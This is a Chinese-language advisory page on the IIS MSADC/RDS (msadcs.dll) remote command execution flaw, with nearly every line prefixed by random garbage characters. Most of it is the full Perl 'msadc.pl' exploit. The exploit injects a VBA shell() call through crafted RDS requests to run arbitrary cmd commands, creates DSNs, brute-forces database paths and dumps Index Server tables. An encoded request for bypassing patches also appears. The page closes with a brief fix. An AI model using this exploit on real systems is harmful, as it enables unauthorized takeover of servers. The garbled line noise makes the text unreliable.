IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
vAyFm dJ^ [9Ss#~ 涉及程序:
z9aY]lHY Microsoft NT server
K~@Mg1R '1M7M(va 描述:
0eK*9S] 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
W 4F \}A k0T?-iM 详细:
)M)7"PC 如果你没有时间读详细内容的话,就删除:
v|U(+O c:\Program Files\Common Files\System\Msadc\msadcs.dll
ZDbc 有关的安全问题就没有了。
rn<PR* #1>X58I^ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
@)Ofi j jBegh9KHq 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
fk_o@
G!0 关于利用ODBC远程漏洞的描述,请参看:
5nsq[Q` eImn+_ N3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm cJ54s} oWYmj=D~2z 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
a'z) http://www.microsoft.com/security/bulletins/MS99-025faq.asp +nJUFc lo[.&GD 这里不再论述。
foQ#a 6`f2-f9%iq 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
>nzdnF_&zW ,yd?gP-O /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
E9~Ghx. 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
33!oS&L o7|eMe?<t O%FPS= #将下面这段保存为txt文件,然后: "perl -x 文件名"
qi_Jywd:w #5V9oKM #!perl
,_Z+8 #
j?MAED # MSADC/RDS 'usage' (aka exploit) script
:_O%/k1\@ #
;<leKcvhQ& # by rain.forest.puppy
Q=]w !I\ #
!Y-98<|b
M # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|+T1XYG5 # beta test and find errors!
ztw@Y|<2 V O3x~E use Socket; use Getopt::Std;
8QM(?A getopts("e:vd:h:XR", \%args);
D:erBMKv, JU4qzi print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^k]XEW{PG *hw\35%P`? if (!defined $args{h} && !defined $args{R}) {
b[`Yi1^]%g print qq~
#5f-`~^C{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
M@5?ZZ4L -h <host> = host you want to scan (ip or domain)
f"<O0Qw -d <seconds> = delay between calls, default 1 second
xP [n -X = dump Index Server path table, if available
/n>qCuw -v = verbose
^k9kJ+x^S2 -e = external dictionary file for step 5
K"r*M.P> X-wf:h?i Or a -R will resume a command session
8O38#{[S &uO%_6J ~; exit;}
x@*SEa -]QD|w3dp $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HaP}Y:p if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
WVI{oso# if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ho$+L if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
bua+I;b $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
gM
_hi if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
]wtb-PC QDu 2?EYZq if (!defined $args{R}){ $ret = &has_msadc;
<WcR,d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
U-|NY uXKERzg print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ry'= ke . "cmd /c ";
_A=$oVe $in=<STDIN>; chomp $in;
~m$Y$,uH $command="cmd /c " . $in ;
)gMG#>up@ ={z*akn, if (defined $args{R}) {&load; exit;}
RRI"d~~F6 -:na:Vsi print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
PbmDNKEh{ &try_btcustmr;
% ClHCoyA ;dJ1 print "\nStep 2: Trying to make our own DSN...";
-q*i_r:, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
} q$ WvY/ k3uit+ge} print "\nStep 3: Trying known DSNs...";
LbkF
&known_dsn;
GSRVe/[ !7kG!)40 print "\nStep 4: Trying known .mdbs...";
(_"*NY0 &known_mdb;
,]d,-)KX8 f`;j:O if (defined $args{e}){
uB]b}"+l print "\nStep 5: Trying dictionary of DSN names...";
VSSu&Q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
bdc&1I$ s#WAR]x0x print "Sorry Charley...maybe next time?\n";
bLwAXW2K+ exit;
iB498t lMBLIB]i ##############################################################################
^3UGV*Ypk 2'W<h)m)z sub sendraw { # ripped and modded from whisker
>Vwc3d sleep($delay); # it's a DoS on the server! At least on mine...
hK_LEwd; my ($pstr)=@_;
<?@NRFTe socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3h *!V6%q die("Socket problems\n");
F 9@h|#an if(connect(S,pack "SnA4x8",2,80,$target)){
sn)3ZA select(S); $|=1;
6=fSE=]DY print $pstr; my @in=<S>;
EUxG Aj$- select(STDOUT); close(S);
@g&ct>@y return @in;
m5r7 } else { die("Can't connect...\n"); }}
j!7{|EQFcl t$De/Uq ##############################################################################
ayfFVTy1d +Nt2
+Y:O sub make_header { # make the HTTP request
LRNh@g4ei my $msadc=<<EOT
9;B0Mq
py POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
<x<"n t User-Agent: ACTIVEDATA
@]ytla>d Host: $ip
d%o&+l# Content-Length: $clen
])nPPf Connection: Keep-Alive
28UU60 TL}++e
7+ ADCClientVersion:01.06
L:i-BI`J Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[m|YWT= LyAn&h} --!ADM!ROX!YOUR!WORLD!
~V\D|W9 Content-Type: application/x-varg
bp~g;h*E2 Content-Length: $reqlen
@*6 C=LL w .?:SD EOT
WjlZ6g2i ; $msadc=~s/\n/\r\n/g;
xo7Kn+ Kl return $msadc;}
`|ASx8_! 1*@'-mj ##############################################################################
Jz2N pP*a sub make_req { # make the RDS request
$d_|NssvU my ($switch, $p1, $p2)=@_;
Bi
@2 my $req=""; my $t1, $t2, $query, $dsn;
s]f6/x/~ xo&]$W8 if ($switch==1){ # this is the btcustmr.mdb query
34Kw! $query="Select * from Customers where City=" . make_shell();
oz}+T(@O $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_N{RVeO $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
W7 #9jo f)^_|8 elsif ($switch==2){ # this is general make table query
=*r])Vg^ $query="create table AZZ (B int, C varchar(10))";
K|:@Z $dsn="$p1";}
j,"@?Wt7 !'cl"\h elsif ($switch==3){ # this is general exploit table query
pUV/Ul] $query="select * from AZZ where C=" . make_shell();
K*X_FJ $dsn="$p1";}
P_Gw-`L5T
(q(~de elsif ($switch==4){ # attempt to hork file info from index server
*%S"eWb $query="select path from scope()";
-)RH5WG S $dsn="Provider=MSIDXS;";}
jAm3HI
.K p elsif ($switch==5){ # bad query
)|DM~%$QM $query="select";
/Sc l#4bW $dsn="$p1";}
6er-{.L=
F)'.g d $t1= make_unicode($query);
U qFv}VsnF $t2= make_unicode($dsn);
<U!`J[n% $req = "\x02\x00\x03\x00";
fngOeLVG $req.= "\x08\x00" . pack ("S1", length($t1));
u (em&M $req.= "\x00\x00" . $t1 ;
~;#Y9>7\\' $req.= "\x08\x00" . pack ("S1", length($t2));
$D|e>U $req.= "\x00\x00" . $t2 ;
A*}.EClH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2gCX}4^3b return $req;}
j ~1B|,H {6_|/KE9_ ##############################################################################
]y1OFKYv #]ypHVE sub make_shell { # this makes the shell() statement
z6w3"9Um return "'|shell(\"$command\")|'";}
\\u<S=G 8(~K~q[Cr ##############################################################################
`m!j$,c. XbD4:i% sub make_unicode { # quick little function to convert to unicode
~1W x= my ($in)=@_; my $out;
2IKnhBSV3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
[g:$K5\64 return $out;}
d\
1Og\U|A @EnuJe ##############################################################################
O"c;|zCc> ^w c"&;=c| sub rdo_success { # checks for RDO return success (this is kludge)
X@LRsg my (@in) = @_; my $base=content_start(@in);
f-E("o if($in[$base]=~/multipart\/mixed/){
m6[0Kws& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
b/{t|io{ return 0;}
NR5oIKP? 2gq9k}38 ##############################################################################
#>mr[ Te}8!_ohyC sub make_dsn { # this makes a DSN for us
VI'hb'2 my @drives=("c","d","e","f");
f'VX Y- print "\nMaking DSN: ";
}7
c[Q($K foreach $drive (@drives) {
Q^e}?v%=%3 print "$drive: ";
Y<Fz)dQo my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
{O`w,dMOI "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
'4|-9M3f . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
}9W4"e 2) $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?l^1 *Q, return 0 if $2 eq "404"; # not found/doesn't exist
zN"J}r: if($2 eq "200") {
P)MDPI+~ foreach $line (@results) {
(KF=On;=Y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
twlk-2yT! } return 0;}
; o0&`b? oWC@w ##############################################################################
D(H>R&b! &qr;IL7' sub verify_exists {
oze& my ($page)=@_;
yGPS`S my @results=sendraw("GET $page HTTP/1.0\n\n");
^]a #7/]o return $results[0];}
P:aJ# .sj^{kGE ##############################################################################
R]btAu;Z GP:77)b5 sub try_btcustmr {
R5 9S@MsuD my @drives=("c","d","e","f");
30.@g[~ my @dirs=("winnt","winnt35","winnt351","win","windows");
By9*1H2R -QmO1U foreach $dir (@dirs) {
<c,u3cp print "$dir -> "; # fun status so you can see progress
?Vdia:
foreach $drive (@drives) {
@Q/-s9b print "$drive: "; # ditto
t[oT-r $reqlen=length( make_req(1,$drive,$dir) ) - 28;
2h=!k|6 $reqlenlen=length( "$reqlen" );
!gv`FE9y $clen= 206 + $reqlenlen + $reqlen;
*]VFvh vOc 9ZE my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\u>"s if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
f1 _<G else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
OI0;BBZ d~`x )B( ##############################################################################
ZO)S`W E8n)}[k!0 sub odbc_error {
9J>&29@us0 my (@in)=@_; my $base;
nCj2N,mT my $base = content_start(@in);
- qy6Un+ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
c(n&A~*AJ% $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
isZA oYVu $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/Ya_>+oo $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ZOQTINf return $in[$base+4].$in[$base+5].$in[$base+6];}
*i- _6s print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
f/Hm{<BY
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)p~BQ~eip; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
N.]qU d <p\6AnkMr ##############################################################################
fbL\?S,w kMOpi =Z1 sub verbose {
'F_8j; my ($in)=@_;
O Vko+X` return if !$verbose;
wm$}Pch print STDOUT "\n$in\n";}
fe_yqIdk 2GWMlI ##############################################################################
3`B6w$z>( #z2rzM@/: sub save {
"(3BvMA&!9 my ($p1, $p2, $p3, $p4)=@_;
;+<&8.=,) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
1!1beR] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
&b?LP] close OUT;}
`(f!*Ru@/z sM?MLB\Za ##############################################################################
%T)oCjM[\ kWe{r5C7 sub load {
C_n9T{k my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2;^y4ssg open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Nv/v$Z{k @p=<IN>; close(IN);
y7$iOR $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6C-/`>m $target= inet_aton($ip) || die("inet_aton problems");
e=Z,
Jg print "Resuming to $ip ...";
Sz^5b! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
;zIP,PMM if($p[1]==1) {
spGB)k,^ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
|/2y-[;: $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
yI ld75S` my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
eXKo.JL if (rdo_success(@results)){print "Success!\n";}
B|4X}*@SX else { print "failed\n"; verbose(odbc_error(@results));}}
hlJq-*6' elsif ($p[1]==3){
NDs!a if(run_query("$p[3]")){
LwK+:4$ print "Success!\n";} else { print "failed\n"; }}
8&Oa_{1+Q elsif ($p[1]==4){
-|Y(V5] if(run_query($drvst . "$p[3]")){
v|Yh w print "Success!\n"; } else { print "failed\n"; }}
Pj4/xX exit;}
~<k,#^"}X "=+7-` ##############################################################################
gx&Tt #%D_Y33; sub create_table {
d8m6B6
CW my ($in)=@_;
MH{GR)ng:9 $reqlen=length( make_req(2,$in,"") ) - 28;
05spovO/' $reqlenlen=length( "$reqlen" );
;[W"mlM $clen= 206 + $reqlenlen + $reqlen;
<IC~GqXv my @results=sendraw(make_header() . make_req(2,$in,""));
EC\yzH*X return 1 if rdo_success(@results);
cFJ-Mkll my $temp= odbc_error(@results); verbose($temp);
#SX8=f`K5 return 1 if $temp=~/Table 'AZZ' already exists/;
qOUqs'7/] return 0;}
g+ MdHn[ u6_@.a} ##############################################################################
sz)oZPu| KGWyJ sub known_dsn {
C%U`"-%n@7 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
* 0|IXGr my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
RtCkV xaEx "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
sPps q "banner", "banners", "ads", "ADCDemo", "ADCTest");
8Y_ol#\L }Y*VAnY6; foreach $dSn (@dsns) {
V`RNM%Y print ".";
DZv=\<$,LF next if (!is_access("DSN=$dSn"));
IR- dU<<9O if(create_table("DSN=$dSn")){
gt ";2,;X print "$dSn successful\n";
hTEx]# ( if(run_query("DSN=$dSn")){
UH"#2< |b print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-CR?<A4mud print "Something's borked. Use verbose next time\n";}}} print "\n";}
/MF!GM hTM[8 ~<^ ##############################################################################
~O]]N;>72" !Mu|mz= sub is_access {
\|U l]1pO8 my ($in)=@_;
PmR~c, $reqlen=length( make_req(5,$in,"") ) - 28;
Rt{B(L.?< $reqlenlen=length( "$reqlen" );
ynB _"mg $clen= 206 + $reqlenlen + $reqlen;
mCWhUBghR my @results=sendraw(make_header() . make_req(5,$in,""));
\2(SB my $temp= odbc_error(@results);
C:uz6i1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Ht-t1q return 0;}
XgxX.`H7 NO0"* c ; ##############################################################################
e+]6OV&+ [tH-D$V sub run_query {
(__yh^h:m my ($in)=@_;
)
gzR=9l $reqlen=length( make_req(3,$in,"") ) - 28;
hxf'5uc $reqlenlen=length( "$reqlen" );
8srBHslI $clen= 206 + $reqlenlen + $reqlen;
#!9S}b$ my @results=sendraw(make_header() . make_req(3,$in,""));
Kv@eI$t5 return 1 if rdo_success(@results);
[J
C: my $temp= odbc_error(@results); verbose($temp);
NziZTU} return 0;}
UDc$"a}ds{ {\z({Wlb] ##############################################################################
R'dSbn %',F sub known_mdb {
8:o<ry my @drives=("c","d","e","f","g");
v$)q($}p my @dirs=("winnt","winnt35","winnt351","win","windows");
YqV8D&I my $dir, $drive, $mdb;
ZKz,|+X0G my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"iM~Hy a2f^x@0k # this is sparse, because I don't know of many
N6T{ my @sysmdbs=( "\\catroot\\icatalog.mdb",
Pe_!?:vF "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Pa^A$fy\ "\\system32\\certmdb.mdb",
k78Vh$AA6% "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
T?p`) #$1og= my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
+'G0 {;b "\\cfusion\\cfapps\\forums\\forums_.mdb",
ZO7&vF} "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
?,=f\Fz! "\\cfusion\\cfapps\\security\\realm_.mdb",
ycJg%]F*5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
tj*y)28- "\\cfusion\\database\\cfexamples.mdb",
/?6gdN "\\cfusion\\database\\cfsnippets.mdb",
M0'
a9.d "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
G\;}w "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
: 5U"XY x@ "\\cfusion\\brighttiger\\database\\cleam.mdb",
;D.h65rr "\\cfusion\\database\\smpolicy.mdb",
1
Vy,&[c~" "\\cfusion\\database\cypress.mdb",
&5%dhc4&!& "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ow/57P "\\website\\cgi-win\\dbsample.mdb",
6QNs\Ucb+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
T'#!~GpB "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
M|[ZpM+ ); #these are just
O3N_\B: foreach $drive (@drives) {
Y=*P
8pg foreach $dir (@dirs){
QR>
Y%4 ;h foreach $mdb (@sysmdbs) {
D%7kBfCb print ".";
v'h3CaA9j if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
i^/
eN print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^=Q8]W_* if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
A S`2=w print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
#NWZ k.S } else { print "Something's borked. Use verbose next time\n"; }}}}}
O>nK,. ZGA)r0]
P` foreach $drive (@drives) {
:jBZK=3F> foreach $mdb (@mdbs) {
_yiRh: print ".";
1% asx'^ if(create_table($drv . $drive . $dir . $mdb)){
;gEp!R8 print "\n" . $drive . $dir . $mdb . " successful\n";
7t ZW^dF if(run_query($drv . $drive . $dir . $mdb)){
t'dHCp} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(D0C#<4P } else { print "Something's borked. Use verbose next time\n"; }}}}
7U&5^s
)J }
'`9%'f) 3%_
4+zd ##############################################################################
txj wZ_p o<Xc,mP sub hork_idx {
6 #-6Bh)>4 print "\nAttempting to dump Index Server tables...\n";
oSN8Xn*qr print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
8mk}nex $reqlen=length( make_req(4,"","") ) - 28;
*^X#Eb $reqlenlen=length( "$reqlen" );
c!tvG*{ $clen= 206 + $reqlenlen + $reqlen;
&/sGh0 my @results=sendraw2(make_header() . make_req(4,"",""));
oK#\HD4U if (rdo_success(@results)){
LKIW*M my $max=@results; my $c; my %d;
C(EYM$ for($c=19; $c<$max; $c++){
z\e>DdS $results[$c]=~s/\x00//g;
XyvZ&d6(d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
c9\B[@-q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
os}b?I*K $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
yT[Lzv# $d{"$1$2"}="";}
J"/JRn foreach $c (keys %d){ print "$c\n"; }
5dg-d\6S } else {print "Index server doesn't seem to be installed.\n"; }}
UN-T^ \R6;Fef ##############################################################################
E}]I%fi A
Z4|&iT sub dsn_dict {
BO?mQu~ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
-
P\S>G. while(<IN>){
8FB\0LA!g $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
nw~/~eM5= next if (!is_access("DSN=$dSn"));
'9IP; if(create_table("DSN=$dSn")){
zY]Bu-S3 print "$dSn successful\n";
CWE Ejl if(run_query("DSN=$dSn")){
C<r(-qO{5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
B*-ToXQQr print "Something's borked. Use verbose next time\n";}}}
mY$nI -P print "\n"; close(IN);}
%y~`"l$- >W>##vK ##############################################################################
X*TuQ\T L{cK^ , sub sendraw2 { # ripped and modded from whisker
o}WB(WsG sleep($delay); # it's a DoS on the server! At least on mine...
I(z>)S'7r my ($pstr)=@_;
9=Y,["br$_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^t\kLU die("Socket problems\n");
\?bwm&6+r if(connect(S,pack "SnA4x8",2,80,$target)){
[ED!J~lg8 print "Connected. Getting data";
WpXODkQL open(OUT,">raw.out"); my @in;
aEcktg6h select(S); $|=1; print $pstr;
i!CKA}", while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&_<VZS close(OUT); select(STDOUT); close(S); return @in;
0t5Q9#RY } else { die("Can't connect...\n"); }}
_ff=B DCEvr" ( ##############################################################################
]NaMZ iifc;6 2 sub content_start { # this will take in the server headers
a"`g"ZRx my (@in)=@_; my $c;
) 1lJ<g# for ($c=1;$c<500;$c++) {
mtSNl|O&{ if($in[$c] =~/^\x0d\x0a/){
Y&?|k'7 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
UI|v/(_^F else { return $c+1; }}}
03X<x| return -1;} # it should never get here actually
"\VW.S GOv92$e ##############################################################################
y+K7WUwhq X@6zI-Y% sub funky {
X% Spv/8{ my (@in)=@_; my $error=odbc_error(@in);
^tm++ if($error=~/ADO could not find the specified provider/){
>$7wA9YhL print "\nServer returned an ADO miscofiguration message\nAborting.\n";
-D!#W%y8 exit;}
J>HLQP if($error=~/A Handler is required/){
Ck ~V5 print "\nServer has custom handler filters (they most likely are patched)\n";
t]
n(5!L( exit;}
Y0/jH2 n if($error=~/specified Handler has denied Access/){
'_q: vjX print "\nServer has custom handler filters (they most likely are patched)\n";
_Vdb? exit;}}
@D.R0uM Bxn8>< ##############################################################################
pr0@sri@ c[wQJc sub has_msadc {
OoAr% my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
JVJ1Ay/be my $base=content_start(@results);
j33P~H~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
*=-__|t return 0;}
WmT}t $$2S*qY ########################
At`1) % j[O&[s}
hRuo,FS#: 解决方案:
!.;xt L 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
xG *lV|<7> 2、移除web 目录: /msadc